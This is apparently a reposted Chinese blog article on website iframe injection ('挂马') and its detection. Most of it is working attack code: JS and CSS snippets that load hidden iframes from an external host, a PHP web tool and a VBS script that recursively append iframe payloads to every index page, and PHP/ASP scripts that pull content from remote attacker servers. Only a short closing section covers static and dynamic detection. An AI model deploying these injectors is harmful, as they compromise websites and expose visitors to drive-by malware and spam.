挂马方式研究、挂马检测技术研究

1. 挂马定义

所谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,服务器漏洞,网站程序0day, 等各种方法获得网站管理员账号,然后登陆网站后台,通过数据库"备份/恢复"或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时,你就会自动的访问被转向的地址或者下载木马病毒其实我们说的所谓的挂马一般就是在那些可编辑文件下或是头部加入一段代码来实现跳转到别的网站访问那个他们指定的HTML网页木马

因为实现挂马的前提常常需要修改、或者写入新文件,所以WEBSHELL入侵或者老WEBSHELL的爆破/访问常常和挂马动作呈现时间先后关系

Relevant Link:

http://baike.baidu.com/link?url=bFYX3bWiveNhr1pROR1lVkQd8Qabj0uQmLkHdNRvdqcrXH5Wi7YhN-a6uKXXZST1UibuU_-hfl_7GC_jqjvzRa

2. 挂马方式

0x1: JS写入iframe挂马

1. bot.js: document.write("<iframe width='100' height='100' src='http://114.55.36.222/LittleHann/LittleHann.html'></iframe>");
//width='100' height='100'全部设置为0表示完全隐藏该iframe
2. 将挂马js脚本放在一个黑客可控制的WEB服务器上,例如: http://114.55.36.222/bot/bot.js
3. 向目标网站目录下任意文件(常常是首页文件)插入js引入代码: <script language=javascript src="http://114.55.36.222/bot/bot.js"></script>

2. CSS写入iframe挂马

Body background-image在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过"background-image"配合js代码让网页木马悄悄地在用户的电脑中运行 
那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中  

1. 准备挂马页面: http://114.55.36.222/LittleHann/LittleHann.html
2. 向目标网站目录下任意文件(常常是首页文件)插入CSS引入代码
<style type="text/css"> 
body {  
    background-image: url('javascript:document.write("<iframe src=http://114.55.36.222/LittleHann/LittleHann.html width=100 height=100></iframe>")') 
}
</style>

此方法会使主页不正常。返回一片空白,可以使用弹窗的方式进行改进

1. 准备挂马页面: http://114.55.36.222/LittleHann/LittleHann.html
2. 向目标网站目录下任意文件(常常是首页文件)插入CSS引入代码
<style type="text/css"> 
body {  
    background-image: url('javascript:open("http://114.55.36.222/LittleHann/LittleHann.html")') 
} 
</style>

改进一下弹框的时间

<style type="text/css"> 
body {  
    background-image: url(javascript:open('http://114.55.36.222/LittleHann/LittleHann.html','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')) 
} 

http://114.55.36.222/LittleHann/LittleHann.html
<script src="bot.js"></script> 
<script> 
window.opener=null;setTimeout("window.close();",5000); 
</script>  

bot.js
document.write('<Iframe src="http://114.55.36.222/LittleHann/evil.htm"></iframe>'); 

CSS解析JS的特性只能在IE6上有效,现在已经很少使用了,对于CSS来说另一种思路是直接将挂马页面的PSD图转换为对应的CSS代码,并直接插入到目标页面中,这种挂马方式可以很好地隐藏掉文本上的特征,从而躲避文本内容检测 
CSS和JS都属于无实体文件插入型挂马,它们的本质都是在修改HTML DOM元素

0x3:  批量写文件挂马

通过人工访问、或者借助搜索引擎访问触发,通过脚本递归地向WEB目录下批量写入大量的SEO HTML页面

<?php
function gmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  gmfun($file);
   } else {
         if(@ereg(stripslashes($_POST[“key”]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = @fopen (“$file”, “a”);
            @fwrite($handle, “$mm”);
            @fclose($handle);
            echo “已挂马文件:$file
<br>”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}
function qmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  qmfun($file);
   } else {
         if(@ereg(stripslashes($_POST[“key”]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = fopen (“$file”, “rb”);
            $oldcontent=fread($handle,filesize($file));
            fclose($handle);
            $newcontent=str_replace($mm,””,$oldcontent);
            $fw = fopen (“$file”, “wb”);
            fwrite($fw,$newcontent,strlen($newcontent));
            fclose($fw);
            echo “已清马文件:$file
<br>”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}

if ($_GET[‘action’]==’gm’) {
    set_time_limit(0);
    gmfun($_POST[“dir”]);
}
if ($_GET[‘action’]==’qm’) {
    set_time_limit(0);
    qmfun($_POST[“dir”]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
  <table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
    <tr>
      <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版
          BY n3tl04d</font></div>
      <td> </tr>
    <tr>
      <td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
      <td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
      <td> </tr>
    <tr>
      <td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
      <td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index.|default.|main.|.html’>—–正则表达式匹配——
      <td colspan=”2″ height=”1″></td>
      <td> </tr>
    <tr>
      <td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
      <td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>’>
      <td> </tr>
    <tr>
      <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
          <input type=”submit” name=”Submit” value=”提交”>
            
          <input type=”reset” name=”Submit2″ value=”重置”>
        </div></td>
      <td> </tr>
  </table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
  <table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
    <tr>
      <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
         BY 随风而去(LST)</font></div>
      <td> </tr>
    <tr>
      <td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
      <td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
      <td> </tr>
    <tr>
      <td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
      <td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index.|default.|main.|.html’>—–正则表达式匹配——
      <td colspan=”2″ height=”1″></td>
      <td> </tr>
    <tr>
      <td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td>
      <td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>’>
      <td> </tr>
    <tr>
      <td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
          <input type=”submit” name=”Submit” value=”提交”>
            
          <input type=”reset” name=”Submit2″ value=”重置”>
        </div></td>
      <td> </tr>
  </table>
</form>

VBS版本的

'版权信息
br="************************************" & vbCrLf
br=br & "* VBS 批量挂马脚本 *" & vbCrLf
br=br & "* BY BanLG *" & vbCrLf
br=br & "************************************" & vbCrLf & vbCrLf
br=br & "cscript scan.vbe D:" & vbCrLf 

'马的地址
ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn" & chr(34) & "></IFrAME>"
'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="index.asp|index.html|index.htm|default.asp|default.html|default.htm"
'以"|"为分隔符拆分成数组
MyArray = Split(MyString, "|", -1, 1)

web=WScript.Arguments(0)

'如果web为空退出脚本
if web="" then
Wscript.echo (br)
window.Close
end if

Wscript.echo (br) & "马的地址:" & ma & vbCrLf & vbCrLf
'创建对象
Set fso = createObject("Scripting.FileSystemObject")

'开始扫描挂马
scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
sub scan(filesder) 
set filesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
set files=filesder.files 
'获取文件名
for each fext in files
Set file1 = fso.GetFile(fext)
filesext=file1.Name
'把文件名转换成小写字母
ext=lcase(filesext) 
For Each index in MyArray
'判断文件是不是我们在MyString里限定的文件,如果是就写马
if ext=lcase(index) then
Set ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext & " .............ok"
Wscript.echo (echo)
end if
next
next

set subfolders=filesder.subfolders
for each subfolder in subfolders '搜索其他目录,递归调用
scan(subfolder)
next 
end sub

Relevant Link:

http://www.phpstudy.net/b.php/33743.html?qqdrsign=037c6
http://www.jb51.net/article/12441.htm
http://baike.baidu.com/view/368.htm
http://baike.baidu.com/view/131253.htm
http://lusongsong.com/reed/79.html
http://hawke.blog.51cto.com/702628/141967/
http://www.phpstudy.net/b.php/8054.html?qqdrsign=04fa7
https://baoz.net/php-trojans/
http://www.cnblogs.com/top5/archive/2009/11/17/1604777.html

0x4: 通过HTTP/Socket方式从远程控制服务器下载SEO/挂马页面(PHP版本)

<?php
set_time_limit(0);

header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$Remote_server = "http://avboke.top/"; 
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
/*
1. $Remote_server: 存放挂马页面的远程服务区(HackerA)
2. host: 肉鸡上被访问运行的挂马脚本的url和文件名(用于HackerA统计肉鸡来源)
3. url: 肉鸡上挂马脚本的被访问uri(用于HackerA统计触发原因: 1)人工访问、2)搜索引擎访问触发)
*/
$Content_mb=file_get_contents($Remote_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']);

echo $Content_mb;

?>

0x5: 通过HTTP/Socket方式从远程控制服务器下载SEO/挂马页面(ASP版本)

<%
server.Scripttimeout=999999
Remote_server="http://ww.heikeblog.net/" 
host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
''''
1. $Remote_server: 存放挂马页面的远程服务区(HackerA)
2. host: 肉鸡上被访问运行的挂马脚本的url和文件名(用于HackerA统计肉鸡来源)
3. url: 肉鸡上挂马脚本的被访问uri(用于HackerA统计触发原因: 1)人工访问、2)搜索引擎访问触发)
4. domain: 被挂马的肉鸡的服务器Server Name
''''
Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name")
Content_mb=GetHtml(Remote_file)
response.write Content_mb
%>
<%
Function GetHtml(url)
    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    ObjXMLHTTP.Open "GET",url,False
    ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
    ObjXMLHTTP.send
    GetHtml=ObjXMLHTTP.responseBody
    Set ObjXMLHTTP=Nothing
    set objStream = Server.CreateObject("Adodb.Stream")
    objStream.Type = 1
    objStream.Mode =3
    objStream.Open
    objStream.Write GetHtml
    objStream.Position = 0
    objStream.Type = 2
    objStream.Charset = "gb2312"
    GetHtml = objStream.ReadText
    objStream.Close
End Function
%>

0x6: 图片伪装挂马

1. 攻击者将类似:http://www.xxx.com/x.htm 中的木马代码植入到x.gif图片文件中,这些嵌入代码的图片都可以用工具生成
2. 图片木马生成后,再利用代码调用执行
<html>
<iframe src="http://www.x.com/x.htm" height=0 width=0 /> <img src="http://www.x.com/x.jpg"/> </iframe>
</html>
3. 当用户打开http://www.x.com/x.htm时,显示给用户的是http://www.x.com/x.jpg,而http://www.x.com/x.htm网页代码也随之运行 

它本质还是一种iframe挂马

0x7: JS变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/x.x />

带木马的网页主要包括两种类型

1. 一种自己本身就是木马网站,所有的页面都有木马
2. 另一种是正常的网站,由于管理不善,被挂马,成为木马网站的一个中转站(JS跳转)

Relevant Link:

http://blog.sina.com.cn/s/blog_85295a390101bl9g.html
http://blog.sina.com.cn/s/blog_85295a390101bl9g.html
http://www.path8.net/tn/archives/1796
http://drops.wooyun.org/papers/8025
http://aq.163.com/module/pedia/article-00058.html

3. 网站被挂马的危害

0x1: 影响网站收录和排名情况

百度、google等搜索引擎会遍历爬取网站下的所有文件,黑产通过大量的写入垃圾SEO HTML页面,引导搜索引擎爬取,这么做的结果就是正常用户在搜索目标网站的时候会搜出来大量的SEO垃圾信息和页面,严重影响网站的正常运营和排名

Relevant Link:

http://www.admin5.com/article/20140211/536357.shtml
http://www.sotuiwang.com/wangzhan/201.html
http://www.wuxueshan.com/jzjc/2040.html
http://seo.tx138.com/722.html

4. 网站挂马检测

网站挂马检测的手段主要分为两类:一类是静态检测,主要是针对网站页面的源代码进行分析;另外一种就是动态检测,使用虚拟机访问网站网页,查看是否感染木马

0x1:  静态检测

静态检测主要是对网站Web页面的源代码进行检测,首先通过分析页面提取出所有引入的URL,然后再通过爬虫获取这些页面的源码,通过JS代码和恶意的shellcode特征进行匹配和打分,判断该网站是否被挂马,但这种对SEO/博彩/推广的挂马页面识别效果较弱,因为这类内容往往是具体的推广信息,没有明显的"恶意字符串特征"可以规定静态检测主要有几个技术难点

1. 是页面分析,这块包括网马URL提取以及网马JS代码的分析,很多网马都不会简单的iframe引入,一般会使用混淆的语句或者比较复杂的Javascript动态生成网马地址,试图绕过检测
<script language=javascript src=http://h%65t.x%6Frg.%70l/c.js?google_ad=12x218_ad></script>
document.write("<ifra"+"mesrc=http://afh.2288.org/55/208ay.htm width=100height=0></iframe>");

2. 网马的检测识别: shellcode、推广内容的变形和隐写(混杂在正常的文章内) 

针对这些情况,目前比较主流的解决方案是使用V8引擎解释执行,通过动态运行渲染目标页面,将iframe、javascript、css、以及各种变形URL提取出来

原文地址:https://www.cnblogs.com/jiangchuanyu/p/6525432.html